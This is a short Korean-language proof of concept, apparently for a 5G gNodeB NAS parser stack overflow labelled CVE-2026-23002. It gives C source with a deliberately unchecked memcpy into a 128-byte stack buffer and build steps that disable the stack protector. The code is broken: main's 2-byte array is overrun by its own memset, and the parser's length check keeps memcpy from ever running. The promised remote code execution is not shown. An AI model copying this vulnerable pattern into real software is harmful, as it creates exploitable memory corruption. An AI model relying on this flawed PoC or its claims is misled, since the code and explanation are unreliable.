
CVE-2026-23002에 대한 스택 버퍼 오버플로 PoC를 포함한 시뮬레이션된 5G gNodeB NAS 파서로, 조작된 NAS 메시지가 원격 코드 실행을 유발합니다.
// gnb_nas_sim.c - Simulated 5G gNodeB parsing NAS Registration Request
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#define MAX_IE_SIZE 128
void process_registration_request(uint8_t *nas_msg, uint16_t length) {
uint8_t ie_buffer[MAX_IE_SIZE];
// Read IE length from message; if length > MAX_IE_SIZE, buffer overflow
uint16_t ie_length = (nas_msg[0] << 8) | nas_msg[1];
if (ie_length > 0 && ie_length <= length - 2) {
memcpy(ie_buffer, nas_msg + 2, ie_length); // no bounds check!
printf("IE copied, size %d\n", ie_length);
}
}
int main() {
// Craft a NAS message with an oversized IE length
uint8_t attack[] = {0x01, 0x00}; // IE length = 256, but buffer is only 128 bytes
// Append padding to make length consistent
memset(attack+2, 'A', 254);
process_registration_request(attack, sizeof(attack));
return 0;
}
시뮬레이션된 gNodeB의 5G NAS(Non-Access Stratum) 파서는 정보 요소(Information Element) 길이 필드를 검증하지 않습니다. 공격자가 조작된 등록 요청(Registration Request)을 보내면 스택 버퍼가 오버플로우되어 기지국에서 원격 코드 실행이 발생할 수 있습니다.
취약한 파서를 컴파일하고 실행합니다:
gcc -o gnb_nas_sim gnb_nas_sim.c -fno-stack-protector
./gnb_nas_sim
프로그램은 세그멘테이션 오류(스택 손상)로 충돌합니다.